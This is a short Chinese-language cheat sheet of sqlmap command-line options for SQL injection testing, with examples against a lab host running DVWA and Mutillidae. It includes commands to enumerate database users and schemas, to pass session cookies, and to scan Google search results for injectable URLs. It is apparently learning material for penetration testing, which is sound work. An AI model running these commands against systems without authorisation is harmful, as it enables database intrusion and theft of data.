SQLmap常用参数
Options:
-h或-hh:查看sqlmap的参数信息,双h显示全部
-v:显示详细的信息,有1-6级,默认为1
--version:查看版本信息
--current-db获取当前数据库
Target:
-d:直接连接数据库服务器,作为数据库客户端使用
-u:后面跟URL地址,最好用双引号括起来,一定要存在变量名称
-l:logfile,将Burpsuite或WEbScarab代理记录的log日志文件提交上来
-x:sitemapurl,将站点地图sitemap文件提交上来
-m:将有多个URL的文件提交上来进行扫描
-r:提交HTTP request信息的文件
-g:用Google去搜索
-c:提交配置文件
GET方法:
-p参数只对指定的参数进行注入,在上述命令中指定了对username参数进行注入
-f参数查看指纹信息
--users:查看当前数据库所有用户
--banner:查看数据库版本信息
--dbs:查看目标数据库系统的所有库
--schema:查看元数据库,查看到的信息会很多
-a:all,所有数据都查找
-d参数,直接连接数据库服务器,作为数据库客户端使用而不是通过SQL注入漏洞查询进行,查询速度较快,前提是已知数据库当前的用户名及其密码、IP、端口(3306端口为mysql)和数据库名称(dvwa):sqlmap -d “mysql://user:password@10.10.10.137:3306/dvwa” -f --users
-m参数,将有多个URL的文件提交上来进行扫描:sqlmap -m urllist.txt --users
-g参数,扫描Google搜索结果:sqlmap -g “inurl:\”.php?id=1\””
POST方法:
HTTPS:扫描HTTPS网站时需要添加参数--force-ssl:
sqlmap -u "https://10.10.10.137/a.php?id=1:8843" --force-ssl
扫描配置文件:
sqlmap -c sqlmap.conf
查找sqlmap默认配置文件的路径:
dpkg -L sqlmap | grep sqlmap.conf
Request:
--data数据段:将URL中的参数部分放到后面:
sqlmap -u "http://10.10.10.137/mutillidae/index.php?page=login.php" --data="username=1&password=2&login-php-submit-button=Login" -f
--param-del:变量分隔符
默认情况下参数变量的分隔符为&,若为其他符号时要使用变量分隔符。
sqlmap -u "http://10.10.10.137/mutillidae/index.php?page=login.php" --data="username=1;password=2;login-php-submit-button=Login" --param-del=";" -f
--cookie:Cookie头
因为DVWA进入之前需要登录,即要有cookie,所以在对DVWA进行sqlmap查询时需要用到cookie参数。同样,cookie值用Burpsuite可以很方便地查看。
sqlmap -u "http://10.10.10.137/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=7a89438737dbd6b89c3b11b1472045c0" -f
--random-agent:保存在/usr/share/sqlmap/txt/user-agents.txt
sqlmap -u "http://10.10.10.137/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=7a89438737dbd6b89c3b11b1472045c0" --random-agent --users